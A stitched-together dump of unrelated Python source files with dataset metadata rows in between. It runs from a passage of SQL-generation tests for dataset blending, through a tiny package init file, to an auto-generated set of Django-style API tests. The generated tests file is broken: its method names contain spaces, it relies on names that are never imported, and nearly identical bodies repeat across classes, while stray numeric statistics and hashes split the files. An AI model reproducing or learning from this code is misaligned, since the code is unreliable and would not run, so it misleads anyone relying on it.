"test0" ' 'GROUP BY "$timestamp"' ') "sq0",' "(" "SELECT " '"metric" "$metric2" ' 'FROM "test1"' ') "sq1" ' 'ORDER BY "$timestamp"', str(query), ) def test_do_not_include_fields_with_conflicting_aliases_in_subqueries_unless_mapped( self, ): db = Database() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp, blend_ds.fields.account) .widget(ReactTable(blend_ds.fields.metric0, blend_ds.fields.metric1)) ).sql (query,) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq0"."$metric0" "$metric0",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"account" "$account",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp","$account"', str(query), ) def test_include_mapped_field_in_subqueries_when_the_aliases_are_different(self): db = Database() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field("a", label="A", definition=t0.a, data_type=DataType.number), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field("b", label="B", definition=t1.b, data_type=DataType.number), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.a: secondary_ds.fields.b} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.a) .widget(ReactTable(blend_ds.fields.metric0, blend_ds.fields.metric1)) ).sql (query,) = sql self.assertEqual( "SELECT " '"sq0"."$a" "$a",' '"sq0"."$metric0" "$metric0",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " '"a" "$a",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$a"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"b" "$b",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$b"' ') "sq1" ON "sq0"."$a"="sq1"."$b" ' 'ORDER BY "$a"', str(query), ) def test_blended_references(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp, blend_ds.fields.account) .widget(ReactTable(blend_ds.fields.metric1)) .reference(f.DayOverDay(blend_ds.fields.timestamp)) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"account" "$account" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp","$account"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1_dod" "$metric1_dod" ' "FROM (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"account" "$account" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"metric" "$metric1_dod" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp","$account"', str(query_2), ) def test_blended_references_with_order_by_on_metric(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp, blend_ds.fields.account) .widget(ReactTable(blend_ds.fields.metric1)) .reference(f.DayOverDay(blend_ds.fields.timestamp)) .orderby(blend_ds.fields.metric1) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"account" "$account" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$metric1"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1_dod" "$metric1_dod" ' "FROM (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"account" "$account" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"metric" "$metric1_dod" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$metric1_dod"', str(query_2), ) def test_blended_references_with_order_by_on_unused_metric(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp, blend_ds.fields.account) .widget(ReactTable(blend_ds.fields.metric1)) .reference(f.DayOverDay(blend_ds.fields.timestamp)) .orderby(blend_ds.fields.metric0) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1" "$metric1",' '"sq0"."$metric0" "$metric0" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"account" "$account",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$metric0"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$account" "$account",' '"sq1"."$metric1_dod" "$metric1_dod",' '"sq0"."$metric0_dod" "$metric0_dod" ' "FROM (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"account" "$account",' '"metric" "$metric0_dod" ' 'FROM "test0" ' 'GROUP BY "$timestamp","$account"' ') "sq0" ' "LEFT JOIN (" 'SELECT TIMESTAMPADD(\'day\',1,"timestamp" "$timestamp") "$timestamp",' '"metric" "$metric1_dod" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$metric0_dod"', str(query_2), ) def test_blending_with_omit_from_rollup_filter_of_blended_field(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget( f.Widget( f.Share(blend_ds.fields.metric0, over=blend_ds.fields.timestamp) ) ) .filter(f.OmitFromRollup(blend_ds.fields.account.between(10, 20))) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0" "$metric0" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric0" ' 'FROM "test0" ' 'WHERE "account" BETWEEN 10 AND 20 ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0" "$metric0" ' "FROM (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\"," '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" " 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_2), ) def test_blending_with_share_operation_on_primary_metric(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget( f.Widget( f.Share(blend_ds.fields.metric0, over=blend_ds.fields.timestamp) ) ) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0" "$metric0" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0" "$metric0" ' "FROM (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\"," '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" " 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_2), ) def test_blending_with_share_operation_on_secondary_metric(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t0.account, data_type=DataType.number, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "account", label="Account", definition=t1.account, data_type=DataType.number, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = primary_ds.blend(secondary_ds).on( {primary_ds.fields.timestamp: secondary_ds.fields.timestamp} ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget( f.Widget( f.Share(blend_ds.fields.metric1, over=blend_ds.fields.timestamp) ) ) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " '"timestamp" "$timestamp" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq1"."$metric1" "$metric1" ' "FROM (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\" " 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\"," '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_2), ) def test_share_on_blended_metric(self): db = TestDatabase() t0, t1 = Tables("test0", "test1") primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) blend_ds = ( primary_ds.blend(secondary_ds) .on({primary_ds.fields.timestamp: secondary_ds.fields.timestamp}) .extra_fields( Field( "sum", label="sum of two metrics in different datasets", definition=( primary_ds.fields["metric0"] + secondary_ds.fields["metric1"] ), data_type=DataType.number, ) ) ) sql = ( blend_ds.query() .dimension(blend_ds.fields.timestamp) .widget( f.Widget(f.Share(blend_ds.fields.sum, over=blend_ds.fields.timestamp)) ) ).sql (query_1, query_2) = sql self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0"+"sq1"."$metric1" "$sum" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_1), ) self.assertEqual( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0"+"sq1"."$metric1" "$sum" ' "FROM (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\"," '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0" ' "LEFT JOIN (" "SELECT " "'_FIREANT_ROLLUP_VALUE_' \"$timestamp\"," '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"', str(query_2), ) class MultipleDatasetsBlendedEdgeCaseTests(TestCase): @classmethod def setUpClass(cls): db = Database() t0, t1, t2 = Tables("test0", "test1", "test2") cls.primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) cls.primary_ds.id = 0 cls.secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) cls.secondary_ds.id = 1 cls.tertiary_ds = DataSet( table=t2, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t2.timestamp, data_type=DataType.date, ), Field( "metric2", label="Metric2", definition=t2.metric, data_type=DataType.number, ), ], ) cls.tertiary_ds.id = 2 cls.blend_ds = ( cls.primary_ds.blend(cls.secondary_ds) .on_dimensions() .blend(cls.tertiary_ds) .on_dimensions() ) def test_selecting_just_one_metric_in_non_primary_dataset(self): blender = self.blend_ds.extra_fields( Field( "only_metric2", label="Metric Two", definition=self.tertiary_ds.fields.metric2, data_type=DataType.number, ) ) (query,) = blender.query().widget(ReactTable(blender.fields.only_metric2)).sql self.assertEqual( 'SELECT "sq0"."$metric2" "$only_metric2" FROM (SELECT "metric" "$metric2" FROM "test2") "sq0"', str(query), ) class DataSetBlenderMultipleDatasetsTests(TestCase): @classmethod def setUpClass(cls): db = Database() t0, t1, t2, t3 = Tables("test0", "test1", "test2", "test3") cls.primary_ds = DataSet( table=t0, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t0.timestamp, data_type=DataType.date, ), Field( "metric0", label="Metric0", definition=t0.metric, data_type=DataType.number, ), ], ) cls.primary_ds.id = 0 cls.secondary_ds = DataSet( table=t1, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t1.timestamp, data_type=DataType.date, ), Field( "metric1", label="Metric1", definition=t1.metric, data_type=DataType.number, ), ], ) cls.secondary_ds.id = 1 cls.tertiary_ds = DataSet( table=t2, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t2.timestamp, data_type=DataType.date, ), Field( "metric2", label="Metric2", definition=t2.metric, data_type=DataType.number, ), ], ) cls.tertiary_ds.id = 2 cls.quaternary_ds = DataSet( table=t3, database=db, fields=[ Field( "timestamp", label="Timestamp", definition=t3.timestamp, data_type=DataType.date, ), Field( "metric3", label="Metric3", definition=t3.metric, data_type=DataType.number, ), ], ) cls.quaternary_ds.id = 3 cls.blend_ds = ( cls.primary_ds.blend(cls.secondary_ds) .on_dimensions() .blend(cls.tertiary_ds) .on_dimensions() .blend(cls.quaternary_ds) .on_dimensions() ) def _do_test(self, blender): self.maxDiff = None (query,) = ( blender.query() .dimension(blender.fields.timestamp) .widget(ReactTable(blender.fields.metric_share)) ).sql self.assertEqual( ( "SELECT " '"sq0"."$timestamp" "$timestamp",' '"sq0"."$metric0"/"sq1"."$metric1"/"sq2"."$metric2"/"sq3"."$metric3" "$metric_share" ' "FROM (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric0" ' 'FROM "test0" ' 'GROUP BY "$timestamp"' ') "sq0",' '(SELECT "metric" "$metric2" FROM "test2") "sq2",' '(SELECT "metric" "$metric3" FROM "test3") "sq3" ' "LEFT JOIN (" "SELECT " '"timestamp" "$timestamp",' '"metric" "$metric1" ' 'FROM "test1" ' 'GROUP BY "$timestamp"' ') "sq1" ON "sq0"."$timestamp"="sq1"."$timestamp" ' 'ORDER BY "$timestamp"' ), str(query), ) def test_dataset_blender_fourway_flattens_on_join_criteria_to_build_on_primary_dataset( self, ): self._do_test( self.blend_ds.extra_fields( Field( "metric_share", label="Metric Share", definition=self.primary_ds.fields.metric0 / self.secondary_ds.fields.metric1 / self.tertiary_ds.fields.metric2 / self.quaternary_ds.fields.metric3, data_type=DataType.number, ) ) ) def test_dataset_using_fields_refering_top_blender_maps_to_correct_field(self): self._do_test( self.blend_ds.extra_fields( Field( "metric_share", label="Metric Share", definition=self.blend_ds.fields.metric0 / self.blend_ds.fields.metric1 / self.blend_ds.fields.metric2 / self.blend_ds.fields.metric3, data_type=DataType.number, ) ) )
31.375
107
0.409678
3,035
41,164
5.404283
0.049423
0.036581
0.073162
0.065724
0.880685
0.871479
0.856237
0.843129
0.833862
0.829594
0
0.024942
0.469172
41,164
1,311
108
31.398932
0.725688
0
0
0.857257
0
0.000797
0.205932
0.030026
0
0
0
0
0.015949
1
0.013557
false
0
0.003987
0
0.020734
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9fa540d4375e649f42a935f0475414ba40ef444e
239
py
Python
virtualMachine/__init__.py
olefran/Pound
737a245602df600a6de8df9b749cddf17f4127f6
[ "MIT" ]
1
2020-04-21T09:30:17.000Z
2020-04-21T09:30:17.000Z
virtualMachine/__init__.py
olefran/Patitoplusplus
737a245602df600a6de8df9b749cddf17f4127f6
[ "MIT" ]
null
null
null
virtualMachine/__init__.py
olefran/Patitoplusplus
737a245602df600a6de8df9b749cddf17f4127f6
[ "MIT" ]
null
null
null
from .structures import * from .virtualMachine import main # ========================================================================== # # init VirtualMachine # ========================================================================== #
39.833333
78
0.276151
9
239
7.333333
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.07113
239
5
79
47.8
0.297297
0.711297
0
0
0
0
0
0
0
1
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
1
0
0
0
0
0
1
0
1
0
1
0
0
7
9fbb3f1fdb890b70b18e4d82358fbd801faf7b72
9,240
py
Python
generated/domain/tests.py
oreon/rtbp
c35f1a712bdc36c725e68a98b21105654c5f5fdc
[ "MIT" ]
1
2017-12-12T17:28:16.000Z
2017-12-12T17:28:16.000Z
generated/domain/tests.py
oreon/rtbp
c35f1a712bdc36c725e68a98b21105654c5f5fdc
[ "MIT" ]
null
null
null
generated/domain/tests.py
oreon/rtbp
c35f1a712bdc36c725e68a98b21105654c5f5fdc
[ "MIT" ]
null
null
null
from django.contrib import admin from . import models from restbase.commons import CustomModelAdminMixin class AppUserTests(BaseTest): url = 'appUser' fixtures = [' AppUsers.json','patients.json'] def test_createAppUserByNotAllowed AppUser(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createAppUser(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class AppRoleTests(BaseTest): url = 'appRole' fixtures = [' AppRoles.json','patients.json'] def test_createAppRoleByNotAllowed AppRole(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createAppRole(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class GroupTests(BaseTest): url = 'group' fixtures = [' Groups.json','patients.json'] def test_createGroupByNotAllowed Group(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createGroup(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class ProductTests(BaseTest): url = 'product' fixtures = [' Products.json','patients.json'] def test_createProductByNotAllowed Product(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createProduct(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class CategoryTests(BaseTest): url = 'category' fixtures = [' Categorys.json','patients.json'] def test_createCategoryByNotAllowed Category(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createCategory(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class CustomerTests(BaseTest): url = 'customer' fixtures = [' Customers.json','patients.json'] def test_createCustomerByNotAllowed Customer(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createCustomer(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class CustomerOrderTests(BaseTest): url = 'customerOrder' fixtures = [' CustomerOrders.json','patients.json'] def test_createCustomerOrderByNotAllowed CustomerOrder(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createCustomerOrder(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class OrderItemTests(BaseTest): url = 'orderItem' fixtures = [' OrderItems.json','patients.json'] def test_createOrderItemByNotAllowed OrderItem(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createOrderItem(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class EmployeeTests(BaseTest): url = 'employee' fixtures = [' Employees.json','patients.json'] def test_createEmployeeByNotAllowed Employee(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createEmployee(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) class CustomerReviewTests(BaseTest): url = 'customerReview' fixtures = [' CustomerReviews.json','patients.json'] def test_createCustomerReviewByNotAllowed CustomerReview(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) ''' access should be denied''' self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_createCustomerReview(self): self.login('alicia-rn') response = self.read_one_record(suffix='writable') data = response.data data['id'] = None response = self.client.post(self.url,data) print(response.data) self.assertEqual(response.status_code, status.HTTP_201_CREATED)
35.538462
75
0.602381
963
9,240
5.655244
0.09865
0.088138
0.047741
0.069776
0.797833
0.7556
0.7556
0.7556
0.7556
0.7556
0
0.009134
0.289069
9,240
260
76
35.538462
0.819912
0
0
0.725389
0
0
0.086626
0
0
0
0
0
